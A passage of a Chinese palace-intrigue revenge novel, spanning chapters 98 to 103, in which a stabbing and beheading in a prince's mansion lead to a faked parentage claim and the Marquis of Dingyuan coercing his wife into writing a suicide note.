然而,他剩下的话,永远卡在了喉咙里。
就在谢锦程的“你”字刚出口的瞬间,晏明修动了。
他将藏在袖中的右手闪电般探出,紧握着一柄**狠狠朝着谢锦程的眼睛刺了进去。
“呃啊——!!!”
一声惨嚎猛地从铁窗内炸开。
鲜血从谢锦程被刺破的眼眶里迸射而出。
他整个人猛地向后倒去,双手死死捂住那被**贯穿的左眼,身体在地上剧烈地抽搐、翻滚。
“去阴曹地府当你的太监吧!”晏明修唇角咧开,沾着几点谢锦程溅出的鲜血,扯出一抹残忍而满足的狞笑。
“哈哈哈哈哈。”
他爆发出疯狂的大笑,声音在空气中回荡,充满了扭曲的快意。
“谢锦程!睁开你那剩下狗眼看看!你一个被锁在笼子里的废人太监,也配笑我?!你比我强在哪里?!啊?!”
周围的人都懵了。
晏明修的动作太过突然,也太快、太狠,他们根本来不及做出任何反应。
直到谢锦程那凄厉到变调的惨嚎炸响,所有人才像被冷水浇头般猛地惊醒。
“快!快拦住他!”
“开门!救人啊!”
“去请大夫!快!要最好的伤科大夫!”
守卫和护卫手忙脚乱地行动了起来。
而被控制住的晏明修却还在咒骂谢锦程是“死太监”。
铁窗内的谢锦程忍无可忍,哀嚎了起来:“杀了他,让他给我陪葬。”
就算是要下地狱,他也要拉着晏明修一起。
第98章 魂魄被打散
王府护卫将晏明修按着跪在地上,让他给谢锦程磕头。
晏明修脑袋渐渐冷静了下来。
看着周遭来来往往的人,他知道自己遭遇的那些恶心经历是彻底瞒不住了。
他这样活着也毫无意义。
倒不如跟谢锦程一块**。
他扭头用力咬了一口按住他护卫的手腕,那护卫痛呼一声下意识地松了手。
脱身的晏明修猛地扑向了谢锦程,想要掐死他。
“死太监,你**吧。”
但王府护卫的动作比他更快。
见他要对谢锦程不利,当即一刀了结了晏明修。
晏明修睁着大大的眼,似乎还没反应过来自己的脑袋和脖子分了家。
他的脑袋咕噜噜滚到了谢锦程面前。
“呵忒。”
谢锦程捂着左眼,狠狠地往晏明修的脸上吐了口混着血的唾沫,而后彻底撑不住晕了过去。
晏明修的死讯根本瞒不住。
今日在场的除了王府的护卫,还有皇上派来的守卫。
此事他们第一时间告知了文昭帝。
文昭帝没想到谢锦程竟然还做了这么恶心的事情,他脸上流露出一丝嫌弃。
昭瑞亲王怎么教的孩子,竟然让孩子成了这样的禽兽。
谢锦程如今乃是一介庶人,被幽禁后没有半点悔改之心,还害**勋爵之子。
此事不可能轻拿轻放。
否则定远侯和年后即将上任的工部尚书温如璋都不会善罢甘休。
文昭帝一道圣旨,直接赐了毒酒送到昭瑞亲王府。
昭瑞亲王一听这旨意,如遭重锤猛击颅顶,眼前骤然漆黑,天旋地转。
他高大身躯猛地一晃,重重砸倒在地。
他的半边脸孔肉眼可见地歪斜抽搐,口水混着血丝不受控制地从嘴角淌下。
仆从们魂飞魄散的扑了上来,赶忙派人去请太医。
就这样,昭瑞亲王连孙儿最后一面都未能见到,彻底中风了。
晏逐星没想到事情发展得这么迅速。
晏明修竟然就这样**?
她当即派人去打听了当时是个什么情况,这才知道晏明修生前被困在昭瑞亲王府时遭遇了那样的事情。
她愣了片刻,唇角勾起了一抹笑。
这样的消息,怎么能瞒着温如霜这个亲娘的呢。
于是她径直去了找温如霜。
“你还不知道晏明修生前是怎么被谢锦程**的吧?”晏逐星勾起唇角,将打探的消息一字一句吐了出来。
温如霜如遭雷击,脸色瞬间惨白,摇摇欲坠。
“我的儿啊……”她齿间渗血,声音嘶哑,眼中恨意滔天,恨不得立刻提刀杀去昭瑞亲王府。
先是失去了爱女的消息,又收到了嫡子被虐杀的噩耗,温如霜原本就残败不堪的身子哪里经受的住这样的打击。
见到晏明修遗体的那一刻,她再也撑不下去,晕**过去。
定远侯只觉得面上无光,感觉走到哪都有人在背后议论晏明修的死。
他痛恨谢锦程的恶毒,又痛恨晏明修的不知羞耻。
发生了那样的事情,不以死谢罪保全家族名声就算了,竟然还让这事宣扬了出去。
眼看温如霜又被打击得晕厥,他心里暗暗着急。
也不知道他要找的人,什么时候才能找到。
可千万别等温如璋来了京城才找到呀。
*
定远侯府一片萧瑟,昭瑞亲王府也没好到哪里去。
谢清安先替被毒杀了的儿子收尸,而后又命人伺候好中风的父王,他的夫人经受不住这样的打击也病倒了。
整个王府上下,都靠他撑着。
他心里的怒火怎么也熄不下去。
一切都怪晏明修。
他若不来这一趟,儿子又怎么会被皇上赐死。
只是砍掉了他的脑袋,真是太便宜他了。
“去,请明妄道长来。”谢清安声音冰冷,不带一丝波澜。
他要将晏明修的魂魄彻底打散,永世不得超生,永堕轮回苦海,不得解脱。
当夜,枯瘦如鬼的明妄道长带着法器进了王府偏院。
不一会儿,法坛便设好了:院中挂着几缕黑幡,法坛中央供着晏明修的生辰八字与一缕贴身之物。
明妄口中念念有词,片刻后,他抓起一把黑色粉末撒入面前的火焰之中,腾起阵阵腥臭的黑烟。
紧接着,他用手指蘸着混合了尸油和朱砂的暗红浆液,在黄符上飞快画了道扭曲的符咒,猛地拍在写有晏明修名字的草人头上。
“破!”
一声凄厉断喝,草人无火自燃,瞬间化为飞灰。
明妄眼中幽光一闪,嘶声道:“成了。此子魂魄已碎如齑粉,再无聚合之机,生生世世,永受轮回之苦。”
谢清安嘴角扯出一丝残酷
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的笑,点了点头。
他随即招来心腹,指着法坛上晏明修的遗物和那草人烧剩的灰烬,冷声道:“把这些东西和晏明修魂飞魄散的消息,送去定远侯府让他们好好看看。”
“告诉他们,这只是个开始。我要定远侯府上下,今生来世,休想安宁。”
谢清安的心腹下属完美地执行了他的命令,拿着东西来定远侯府转了一圈,放下了狠话转身就离开。
定远侯气得牙痒痒的,恨不得立刻去找谢清安算账。
但老王爷已经中风在床,命不久矣。
谢锦程也已经偿命,他再上门去闹,恐怕也讨不了什么好果子吃。
再说了,谢清安只是让人拿着东西来他面前炫耀了一圈,什么也没留下。
他这根本就是告无可告。
“可恶——!”定远侯只觉得侯府近来实在是不顺得很。
再这样下去,恐怕全京城都要觉得他们晦气了。
不行,他必须要快点让温如霜出来顶罪。
谢清安的心腹离开没多久,晏逐星也收到了这个消息。
她想起了上辈子晏明修给温如霜提的建议——
“明月这几日总是睡不好,说一闭眼睛就能梦到晏逐星血淋淋的来吓唬她。”
“咱们还是请个大师把她的魂魄打碎了吧,这样她便不敢再来纠缠了。”
如今,倒是他被打了个魂飞魄散。
这真是因果轮回,报应不爽啊。
得知晏明修魂魄被打散后,温如霜的身子是一天不如一天。
定远侯一反常态,竟亲自守在温如霜病榻前,端汤送药,事事亲力亲为。
京城里有名的大夫更是被他挨个儿请了个遍,侯府的门槛都快被各路名医圣手踏破了。
没过多久,这事儿就在京城里传开了。
茶楼酒肆、街头巷尾,人们都在议论,都说定远侯对那位重病的夫人不离不弃,是难得的情深义重之人。
一时间,定远侯爱妻如命、重情重义的美名,传遍了整个京城。
晏逐星冷眼旁观着,她心里很清楚,定远侯越是殷勤,温如霜的死期到得也就越快。
只是不知道定远侯给温如霜安排了一个什么样的死法?
眼看就要到了小年夜,算算时间,晏明远也快从青州回来了。
但令晏逐星没想到的是,比晏明远来得更快的是她的亲生父母。
第99章 亲爹娘找来
年关将近,侯府冷冷清清,丝毫没有要过年的气氛。
晏逐星却打算好好过个年。
毕竟这是她重生归来的第一个年,要好好过,往后的日子才能红红火火。
因而在小年夜的前一天,她领着九栀和双鲤出门去逛街,打算亲自置办一些年货。
正踏进一家糕点铺子,就听见身后传来一声带着哭腔的、颤抖的呼唤:“星儿!是我的星儿吗?”
晏逐星诧异地回头,只见一对约莫四十余岁、衣着整洁体面却不显富贵的夫妇,正激动地望着她。
四目相对之际,妇人蓄满的泪水滚滚而下。她身旁的男子,此刻也激动得嘴唇哆嗦,不住地用袖子擦拭眼角。
“丫头!爹娘可算找到你了!这些年我们想得你好苦啊!”妇人再忍不住,踉跄着就要扑上来抓晏逐星的手,引得周围路人纷纷侧目。
晏逐星心头猛地一跳,心中瞬间涌起巨大的疑虑。
她不动声色地后退半步,避开了妇人伸来的手,清亮的眼眸里没有丝毫动容,只有审视和警惕。
亲生父母?
重生后她一直在暗查自己的身世,然而线索寥寥无几,至今没有任何头绪。
如今却突然当街冒出这么一对自称是她生身父母的夫妇。
她总觉得此事透着一丝古怪。
“你们是什么人?休要在此胡言乱语,攀扯我家小姐!”双鲤柳眉倒竖,一个箭步上前,将晏逐星牢牢护在身后。
她扫视着这对哭天抢地的夫妇,板着小脸道:“光天化日,哭哭啼啼就想认亲。怕不是哪里来的拐子?”
那妇人被双鲤厉声呵斥,又见晏逐星目光冷漠,顿时悲从中来,哭嚎声拔高了几度:“星儿!你看看娘!你当真不认得娘了吗?”
男子连忙用力搀扶住哭得浑身发软、几乎要瘫倒在地的妻子,自己也红了眼眶,声音沙哑地劝道:“孩他娘,你莫要这样,仔细吓着孩。都怪我……当年星儿丢失时还小,记不得咱们也是情理之中。”
他语气充满了无奈和心疼,试图安抚妻子,目光却殷切地望向晏逐星。
周围支棱着脖子看热闹的百姓越聚越多,嗡嗡的议论声四起。
这种当街认亲的戏码,谁不爱看?
男子深吸一口气,转向周围越聚越多的看客,抱拳扬声道:“诸位街坊邻里,在下关万海,在通州开着‘万海布匹行’,做了十几年本分生意,街面上不少老主顾都认得关某。今日寻回失散多年的骨肉,实在是情难自禁,绝非歹人。若有叨扰,还请诸位多多包涵!”
人群里,有人认出了定远侯府的马车,嚷嚷了起来:“这位是定远侯府的大小姐。你可有证据证明人家是你的女儿?”
“自然是有的!”那自称关万海的男子忙不迭点头。
“我的女儿左耳耳垂后边有一颗红痣。而且,她这模样和小时候长得几乎一模一样,我怎么会认错自己的女儿。”
晏逐星下意识地摸了摸自己的左耳,确实有一颗小小的痣。
“这也不能证明什么呀,耳朵有痣的人多了去了。焉知你们不是早早打听好,特意来认亲的。”双鲤果断反驳。
关万海急切地看向晏逐星:“关某确是你的亲生父亲啊。当年我带着你去青州行商,都怪我一时疏忽,竟把你弄丢了!你走丢时,手上还带着你娘给你打的金手镯呀。”
他说到这里,声音猛地拔高,充满了痛苦和悔恨,手指着身旁哭得几乎站立不稳的妇人。
“自那日起,你娘她日夜以泪洗面,人也差点跟着去了啊。”
妇人听到这话,猛地爆发出更凄厉的哭声。
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>关万海将她揽到怀里,深吸一口气,声音带着劫后余生的颤抖:“这些年我们散尽家财,托人四处打听,从未有一日放弃过寻你。苍天有眼!菩萨保佑!今日终于是让我们找到你了。”
“唉哟,听听!通州开着布庄的东家,怎么可能是坏人。还给闺女打了金手镯,一听就是疼爱孩子的好人家。这遭的什么罪哟。”
人群里一个心软的婆子已经抹起了眼泪。
“可不是嘛!丢了孩子十几年,好不容易找着了,亲闺女却杵着不动,连句话都没有……”
旁边立刻有人接话,语气带着明显的不赞同和窥探到侯府秘辛的兴奋。
“啧,这不明摆着吗?”
一个尖细的声音带着了然和讥诮响起。
“人家现在可是金尊玉贵的侯府大小姐。谁还乐意认回那开布庄的爹娘?这不是自降身份嘛。”
“就是就是。商贾之女,哪比得上侯府嫡女体面?换我,哼,我也得掂量掂量。”
人群中议论纷纷,将一直没有开口的晏逐星几乎是架到了火上烤。
晏逐星几不可察地蹙起了眉心。
耳后红痣、青州走失、手戴金镯子。
这夫妇二人抛出的细节,倒是全都和她知晓的线索对上了。
这巧合未免太过精准。
难不成他们真的是她的亲生父母?
然而,看着眼前这对哭得撕心裂肺、几乎要肝肠寸断的夫妇,她心底却没有任何的波动。
她总觉得此事透着说不出的古怪。
压下心底翻涌的疑虑,晏逐星清冷的眸子扫过关万海夫妇,又掠过周围指指点点的看客,终于开口:
“事关重大,空口无凭。”
“二位既言之凿凿,便随我一同回侯府,当面同侯爷禀明原委。此事真伪,自有侯爷决断。”
第100章 滴血验亲成
“自然是没问题的。”关万海连忙点头。
而后,晏逐星领着他们一块回了定远侯府。
“你们是什么人,三言两语就要抢走我的女儿么?”定远侯听到晏逐星的亲生父母上门认亲,怒气冲冲地赶了过来。
关万海夫妇被他吓得浑身一抖,扑通一声重重跪倒在地,额头紧贴着冰凉的地砖,发颤着求饶:“侯爷息怒!草民万万不敢同侯府抢人啊!”
关万海急切地开口:“侯爷明鉴。草民夫妇苦寻女儿多年,风餐露宿,耗尽家财,所求不过是有生之年能亲眼见她安好,便心满意足了。”
他重重磕了个头,再抬起头时,已是泪流满面,声音哽咽却异常清晰。
“只要她能过得好,无论她认不认我们,我们都不会有半分怨言。只求侯爷开恩,时不时容我们远远地看上她一眼,就……够了。”
他言辞恳切,又将自己的地位摆得极低,让定远侯熄了几分怒气。
他冷哼一声:“你既口口声声说星儿是你们的女儿,那便滴血认亲吧。”
定远侯给管家使了个眼色,不一会儿,管家便亲自端着一个红漆托盘返回。
托盘上,两盏盛着清澈泉水的白瓷碗摆放端正,旁边搁着几根寒光闪闪的崭新银针。
定远侯的目光状似无意地掠过那两碗清水,最后看向关万海夫妇:“你们二人,各取一滴血,滴入碗中。”
关万海颤抖着刺破了手指,将血滴入其中一个碗,他的夫人则滴到了另一个碗里。
定远侯又看向了晏逐星:“星儿,该你了。”
晏逐星面无表情地拿起一根银针,毫不犹豫地刺破指尖,殷红的血珠滚落,精准地滴入两个水碗当中。
血滴在清澈的水中晕开,像一朵小小的红梅。
四人的目光全都死死盯住了那两只白瓷碗。
晏逐星滴下的那两滴血,与关万海夫妇先前滴入的血液,如同被无形的力量牵引,在水中只微微浮动了一下,便迅速地、毫无阻碍地融合在了一起。
关万海夫妇先是一愣,随即爆发出惊天动地的狂喜哭嚎:“老天开眼啊!咱们真找到女儿了。侯爷,您看见了吗?她就是我们的亲骨肉啊!”
两人抱头痛哭,仿佛卸下了千斤重担,激动得几乎要昏厥过去。
定远侯看着碗中那融合无间的血水,嘴角几不可察地勾起一丝笑意,随即隐去。
那水碗里,他命人加了明矾。
今日不管是什么人的血滴在里边,都会融合到一起。
目光收回,他严肃地盯着关万海夫妇:“你们既是星儿的生身父母,本侯也不会阻拦你们见她。只不过,星儿是本侯的女儿,谁也休想带走她。”
“是,侯爷。”关万海夫妇连忙点头应下。
定远侯随即吩咐管家:“去告诉夫人,大小姐的亲爹亲娘寻着了,今晚一同用膳。”
“是。”管家领命而去。
关万海夫妇又惊又喜,万万没想到侯爷竟肯与他们同桌用膳。
而后定远侯又看向了晏逐星,目光满是慈爱。
“星儿,你同你的爹娘说会儿话吧。”
晏逐星点了点头,没有拒绝。
滴血验亲虽然成功了,但她心里依旧保持着警惕,并没有轻易相信两人的身份。
毕竟他们出现的时机太微妙,提供的线索又太精准。
“你们随我去院子里坐坐吧。”晏逐星领着两人去了玉澜院。
一路上,关万海夫妇按捺不住四下张望,心头暗暗感慨:侯府果然不是他们商贾门第可比的。
一个嫡女的院子都这么气派,那定远侯应承他们的那件事,应该也能实现吧?
“坐。”晏逐星命人给他们搬来了椅子。
两人略显拘谨地坐下。
“家里的情况,还有小时候的事情,我记不太清了,你们给我讲讲吧。”晏逐星挑起了话题。
关万海和妻子对视一眼,都看到了彼此眼中的如释重负。
不记得好啊,若是记得,他们这对冒牌货就要被拆穿了。
关万海扭头看向晏逐星,笑道:“没事,忘了也没关系。日后咱们相处的机会还多着呢。”
“是啊是啊。”关万海的妻子杨氏跟着点头。
关万海喝了一口茶,给晏逐星介绍起关家的情况。
“你本名叫关星,你有三个姐姐和一个弟弟。你大姐叫关霞,二姐叫关云,三姐叫关月,最小的弟弟叫关曜。”
“你的几位姐姐都已经出嫁,如今只有你弟弟陪在我们身边。”
晏逐星打断了他们的话。
“姐姐们出嫁,都给了多少陪嫁?”
关万
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海夫妇被她这直白的问话打得措手不及。
两人心里都有些不满。
都当上侯府嫡女了,怎么还惦记着他们出的嫁妆。
埋怨归埋怨,但面上却是不显。
关万海清了清嗓子,脸上堆起笑:“咳,咱们家虽然行商,但你也知道,小本买卖赚的都是辛苦钱。你那三个姐姐出嫁,我们也是尽力张罗了体面。”
“一人一口刷了红漆的松木箱子,看着喜庆。里头还装了十匹细棉布,另外还给了一套鎏金的头面,簪子耳坠看着黄澄澄的,倒也光亮。女儿家嘛,有个嫁妆样子,婆家看着不寒碜就行了,过日子还得靠她们自己。”
“我和你娘,一视同仁,三个姐姐都给了那么多东西。不偏不倚。”
晏逐星若有所思,没有接话。
关万海见她似乎不满意,忙道:“不过等你出嫁时,我和你娘定然会给你准备更多的嫁妆。毕竟你这些年不在我们身边,是我们亏欠了你。”
一旁的杨氏跟着补充:“对,到时候我们额外给你补一套赤金的头面,再给你补一百两压箱底的钱,绝对不会让你的婆家看轻了你。”
“我走丢时手上戴的金镯子,长什么样,你们还记得吗?”晏逐星冷不丁地问了出来。
杨氏见晏逐星盯着她,猛地坐直了身子,抹着眼泪哽咽道:“当然记得。这十几年来,娘一刻也不敢忘,生怕日后见到你认不出来。”
她颤抖着手比划着,仿佛那小小的金镯就在眼前。
“那是你周岁时,我特意请通州最好的匠人打的。赤金的镯子,镯身中间镶着一块宝石……”
“是块孔雀蓝的琉璃!”关万海嘶哑地接上话,声音带着压抑的激动,“有指甲盖大小,透亮透亮的。那是我从琉光商人手里淘换来的稀罕物。”
杨氏跟着用力点头,泪水涟涟:“为了配那块宝石,我特意让匠人在周围錾了圈缠枝莲纹,又用小金珠镶了一圈边,精巧极了,谁见了都要夸一句精妙绝伦。”
“我走丢时,弟弟几岁?”晏逐星忽然调转了话题。
关万海夫妇完全没想到她会问这个,下意识地回答:“一岁。”
晏逐星笑了。
虽然这两人形容的镯子和她从温如霜那里要来的一模一样,但她还是发现了破绽。
第101章 发现破绽了
从关万海夫妇给三个女儿的嫁妆就能看出来,他们对女儿的疼爱十分有限。
关家做了十几年布匹买卖,陪嫁就只给十匹细棉布,连一匹绫罗绸缎都舍不得搭上。
这哪是添妆?
分明就是舍不得掏真金白银的好料子,故意糊弄人。
至于所谓的鎏金头面,更是中看不中用。
面上不过是薄薄一层金粉,看着黄澄澄亮闪闪的,但稍不留神磕碰一下,金粉就会哗啦啦往下掉。
恐怕没几日功夫,底下那廉价的白铜底子就得露出来。
到时候还不知道他那几个女儿在婆家要被人怎么嘲笑呢。
最荒谬的是,他们竟然连一文钱的压箱银都没给女儿。
那可是女子在婆家安身立命的底气。
手头没点活钱,遇上婆家刁难,或是自己身子不爽利想抓副药,哪怕想私下贴补点家用,都得看人脸色,仰人鼻息。
关万海夫妇连这点最实在的保障都舍不得给闺女,他们会舍得给她打赤金嵌琉璃的镯子?
简直是痴人说梦。
再说了,她走丢那会儿,关曜都一岁了。
那么好的金镯子,怎么可能轮到她,九成九是要落到他们宝贝儿子手里的。
他们之前说的那些,全是谎话。
十之**,是有人在背后指使了关万海夫妇,故意找上她来认亲。
知道那镯子模样的,除了温如霜,恐怕就只有定远侯了。
他们突然下这么一步棋,究竟图什么?
晏逐星细细思索了起来。
关万海夫妇见她问完那句话后,忽然无声地笑开,之后便一直沉默不语,心里顿时直打鼓。
坏了,难道他们哪句话露了马脚么?
这时,温如霜院子里的丫鬟急急忙忙地跑来通传:“大小姐,不好了,夫人晕倒了。侯爷请您和关家老爷和夫人一块去一趟。”
关万海夫妇愈发紧张了。
晏逐星知道他们是冒牌货之后,愈发淡定了。
“走吧。”
她起身跟着丫鬟往外走。
关万海夫妇赶紧跟了上去。
人还没进院子,李氏那撕心裂肺的惨嚎就先钻进了耳朵。
晏逐星定睛一看,李氏此刻正被两个粗壮仆妇死死按在地上。碗口粗的竹杖一下下结结实实砸在她腰臀上,发出沉闷的“砰砰”声。
“当初是夫人瞧见大小姐生得可爱,正、正巧二小姐又丢了……这才把人给抱回来的啊!”
她疼得脸都扭曲了,断断续续地哭喊,试图辩解,“侯爷饶命,老奴说的句句是实话啊!”
李氏凄厉的惨叫声在院子上空打着旋儿,听得人头皮发麻。
跟在晏逐星身后的关万海,一听这话,双目瞬间变得赤红,额头青筋暴起,整个人如同被点燃的炮仗,怒吼一声:“怪不得一转眼我的女儿就不见了,原来是你们搞的鬼!”
话音落下,就饿虎扑食般的朝地上的李氏扑了过去。
他狠狠掐住李氏的脖子,死命用力:“我要报官!报官!”
李氏被掐得眼珠暴突,面色迅速涨红转青紫,看起来几乎马上就要断了呼吸。
她从牙缝里艰难地挤出一个破碎的句子:“大、大小姐……救……救命啊……”
晏逐星冷眼旁观,没有开口。
“在侯府**,谁给你的胆子。”一旁的定远侯厉呵一声,护卫们一拥而上将关万海和李氏分开。
关万海猛地攥紧拳头,大吼道:“我的女儿是被侯府夫人硬生生拐走的!根本就不是我弄丢的!”
他死死盯着前方,目光带着滔天的恨意,像是要穿透窗户杀了里边的温如霜。
“就算她是侯府夫人又如何?她必须血债血偿!若这天下无人敢管,我就去告御状!撕破这天也得讨个公道!”
“你冷静冷静,
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这事咱们可以好好商量……”定远侯焦急地开口劝阻。
关万海愤愤道:“没有什么可商量的。整整十几年骨肉分离,日夜煎熬。这笔血债,都算在她头上!她赖不掉!”
说罢便扯着夫人杨氏的手,快步往外跑去。
“诶!站住!不许走!”定远侯猛地抬脚作势要追,手臂伸得老长,喊得也煞有介事。
可院里的护卫仆从,个个跟钉住了脚似的,眼观鼻鼻观心,没一个真的动弹。
直到关万海夫妇身影消失在眼前,定远侯方才怒吼一声:“愣着干嘛,还不赶紧去追。”
那些护卫们才慢吞吞地追了上去。
晏逐星瞧着这装腔作势的一幕。
心下顿时明了。
今日这出“认亲”的荒唐戏码,从头到尾,都是定远侯亲手安排的一出好戏。
她隐隐猜到了定远侯想要做什么。
她没说话,静观其变,看看定远侯接下来还要怎么演。
定远侯转过身,脸上瞬间堆满了沉痛与愧疚。
他步履沉重地走向晏逐星。
“星儿啊……”他伸出手,似乎想拍拍她的肩膀以示安抚,却又在看到她眼神时讪讪收回。
“当初是温氏独自回娘家省亲,我公务在身,并未随行。她抱你回来时,只说是路上捡的孤女。我信了她,真以为你是无家可归的孤儿,想着侯府家大业大,养你一个孩子也不费事,权当是做件善事积德。”
他重重叹了口气,眼圈微微发红,显得懊悔无比。
“可我万万没想到她竟是如此歹毒,故意拐了你来,害得你与亲生父母骨肉分离整整十余载。爹对不住你,对不住关家啊!”
晏逐星看明白了他唱的哪一出,配合地露出了一抹惊惶无助的神色。
“呜呜呜,父亲,那现在怎么办,若关家人真要状告母亲,那咱们侯府的名声可就全毁了呀。”
第102章 坐实她罪名
“莫叫她母亲!”一提到温如霜,定远侯脸色瞬间铁青,“她不配!”
“我定远侯府,没有这等丧德败行的主母!”
他斩钉截铁地跟温如霜划清了界限。
听到他急于撇清的话,晏逐星心底最后一丝疑虑也散了。
原来如此。
他是要坐实温如霜“拐带孩子”的弥天大罪。
一个身负重罪、声名狼藉的**,自然不配再占着侯府主母的尊位。
“好了。”定远侯脸色稍缓,甚至带上一点刻意的温柔。
他伸手拍了她肩头两下,又道:“你先回自己院子歇着。外头的事自有爹处置,你什么都别管,只消记住一点——”
“你永远都是我定远侯府堂堂正正的大小姐。”
话说完,便示意她离开。
“是。”晏逐星垂下眼睫,顺从地应了一声,干脆利落地离开了。
定远侯冷冷瞥了一眼地上只剩半口气的李氏,嫌恶地移开目光,声音不带一丝温度:
“把这老狗拖去柴房,锁严实了。什么时候温氏认罪画押,什么时候再放她出来。”
约莫一刻钟后,被生生气晕过去的温如霜悠悠转醒。
眼皮刚费力掀开一条缝,就撞上了定远侯那张毫无表情的脸。
温如霜心头猛地一沉,慌乱地环顾四周。
空了!
她身边伺候的心腹丫鬟,竟一个都不见了。
偌大的屋子里,只剩下她和床边的定远侯。
“晏鸿升!”她强撑着支起身子,声音因恐惧而尖利发颤,“你、你想干什么?!我警告你,你要是敢动我一根汗**,我大哥绝不会放过你!他定叫你吃不了兜着走!”
看着试图用狠话壮气势的温如霜,定远侯笑了。
“如霜,你我夫妻一场,我怎么会害你呢。”
温如霜看着他的笑,心底的不安愈发浓厚。
定远侯一字一句道:“如今,只有我能救你了。”
“你胡说什么。”温如霜不可置信地反驳。
定远侯眉眼间没有半点关心与担忧,只有冷漠与算计。
他冷冷道:“星儿的亲爹娘已经找上门了,告的就是你拐带孩童的重罪。你的贴身心腹李氏,也指认了你当年拐走星儿的勾当。”
“若非你当年做下这等丧尽天良的恶事,侯府近来又怎会灾祸不断,霉运缠身?!”
他死死盯着温如霜骤然惨白的脸,一字一句,如同诅咒:
“咱们的亲生女儿毁了,紧接着,唯一的儿子也瞎了眼,没了命。温如霜,你难道不觉得这桩桩件件,就是老天爷对你作恶的报应吗?”
这诛心之言如同重锤,狠狠砸在温如霜心口。
她不愿意承认这是自己的报应,厉声反驳道:“这一切都是晏逐星那个灾星带来的,与我有何干系?”
定远侯没有被她的厉声呵斥吓退。
他俯下身,凑到她耳边,声音压得更低,带着一种致命的诱惑和冰冷的威胁:
“还有不到两年,明远就要及冠了。到时候,我就会上奏陛下,请立他为侯府世子,承袭爵位!”
“如今,你只剩下明远这一个儿子了。温如霜,你难道不为他考虑么?”
“你当真要让他顶着‘毒妇之子’、‘拐子生母’这样洗不掉的恶名在这世上立足?你要生生毁了他唾手可得的前程和爵位吗?”
温如霜刚刚强撑起来的身子猛地一颤,像被人瞬间抽走了所有骨头,瘫软跌回床榻上。
不知不觉间,她竟被逼得到了山穷水尽的地步。
她神思恍惚,与其就这样瘫痪在床声名狼藉地活着,倒不如**算了。
她的三个亲生孩子,明月清白被毁,失踪不知死活;明修生前被人羞辱,死后还被打得魂飞魄
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散;现在只有明远一个孩子安安稳稳地留在世上了。
就这么走了,她如何放心得下他。
可活着,她也只会成为他的拖累。
温如霜绝望地闭上了眼睛。
定远侯很有耐心,并未催促她半句,甚至还在丫鬟把药端来时,要亲手喂她喝药。
“你让芰荷来见我,当着我的面熬药。”温如霜警惕地盯着他。
定远侯十分坦然地放下了药碗,点头答应。
“没问题。”
“不过你考虑的时间不多了,星儿的亲生父母,只能忍到明日一早。”
“若你再做不出决断,那到时候他们就要敲登闻鼓,告御状了。到时候,你的名声,和明远的前程,就都没了。”
温如霜脸色再次白了几分。
她沙哑着声音开口,眼神里满是怨毒:“明远也是你的亲儿子,你非要毁了他才甘心吗?”
定远侯心想:明远是他的嫡长子没错,但他还年轻,日后未必不能再有嫡子。
比起已经有了嫌隙的温家,他更想和烈国公府还有骆家结成姻亲。
但他面上还是要做出一副好父亲的姿态。
“明远是我们的第一个孩子,聪明又有才学,我自然是盼着他有一个好前程。”
“你若真的为了明远着想,就趁着星儿亲生爹娘没告御状前,写信给大舅兄,交代好一切,让出侯府主母之位吧。”
温如霜听到这话,意识到他已经选好了下一任的侯府主母。
“是谁?”她心底一片发寒。
“不重要,重要的是,你该退位让贤了。”定远侯又不傻,怎么会把这事告诉她。
毕竟,现在是他一心想够上国公府的门楣,骆文缨还不知道呢。
温如霜见他不说,知道追问下去也毫无意义。
她呆呆地看着芰荷熬好了药,服下后,终于下定了决心。
第103章 丢女儿真相
“能否让我见明远最后一面?”
她眼里带上了一丝恳求。
定远侯沉思不语。
若让她见了明远最后一面,她舍不得**了怎么办?
“侯爷,你我夫妻二十载,最后一丝体面,你也不愿给我么?”温如霜眼角滑下了绝望的泪。
定远侯听她提到“夫妻二十载”,心中微微一动,想起了两人新婚燕尔时的甜蜜往昔。
他想了想,让明远见温如霜最后一面,也能减轻自己的嫌疑,日后温家上门要说法,也能让明远顶上。
于是他点点头:“那你先将绝笔书写好吧,明远也快回来了。”
温如霜擦掉眼泪,露出了一抹惨然的笑。
“多谢侯爷。”
喝完药的她,精神看着好了几分。
她等到了天黑,也没等到晏明远归家的消息。
她低声唤来芰荷,让她将笔墨纸砚送过来。
她强撑着坐直了身子,提笔写下这封定远侯想要的遗书。
写信途中,她歇了好几次,这才断断续续地将信写完。
写完后,她不忍再看第二遍,径直将信交给了芰荷。
“去吧,将此物交给侯爷过目。”
定远侯拆开遗书,仔细地阅读了起来。
【妾身温氏如霜,罪孽深重,无颜苟活于世。今血泪绝笔,含悲泣血,但求垂怜。】
【明月吾女,下落不明,生死难测。每每思及,心如刀绞,夜不能寐。】
【明修吾儿,年少惨亡,为娘未能护其周全,死后更未能全其哀荣,此恨滔天。】
【妾身身为侯府主母,执掌中馈、教养子女乃分内之责,然而二子接连遭难,皆因妾身无能、失察、未尽侯府主母之职。此等大过,愧对侯爷,愧对晏氏祖宗,更愧对明月、明修在天之灵!】
【妾身自知罪无可赦,今自请下堂,自绝于世,非侯爷休弃,亦非温氏除名,乃罪妇自戕以谢罪。】
【自今日起,温氏如霜与定远侯府恩断义绝,非侯爷之妻,非明远之母】
【妾身此生已污,若再苟活,只会徒增明远之耻,累其前程。唯愿一死,斩断牵连,使吾儿免受母过之累。】
【侯爷正值盛年,侯府不可久无主母,宗嗣不可无人承继。妾身无能,致子嗣凋零,已不配占此位。】
【恳请侯爷以宗庙社稷为重,尽早另聘高门淑女为继室,开枝散叶,光耀门楣。此乃妾身对侯府最后的赎罪之请。】
看到这,定远侯长长地舒了一口气。
还算温如霜识相,知道将自尽的原因归结到自己失责上,自请下堂。
他继续往下看,那些嘱咐晏明远的话他直接跳过了,径直看向她留给温家人的话。
【大哥正值仕途关键,万不可因妾身之死误了前程。】
【妾身之死,乃自愧失职所致,与侯府无关。大哥若念骨肉之情,切莫追究,勿使明远为难。】
【若因妾身之死掀起风波,反令明月、明修亡魂难安,更损温氏与侯府多年情谊。妾身死不瞑目。】
【唯愿吾儿明远此生平安顺遂,不因母过而蒙尘。】
【罪妇温氏如霜绝笔。】
定远侯看着手中的绝笔信,十分满意。
他亲自去见了温如霜一面。
他俯身替温如霜掖了掖被角,声音带着许久未见的温情:
“夫人深明大义。为夫,痛心疾首。”
“你放心,你既为侯府付出至此,为夫定不负你所托。日后下葬,必当竭尽全力,予你一个配得上侯府主母身份的体面,让你走得风风光光。”
温如霜紧紧捏着被角,用尽了全身力气克制,才忍住了啐他一口唾沫的冲动。
晏鸿升这个虚伪小人。
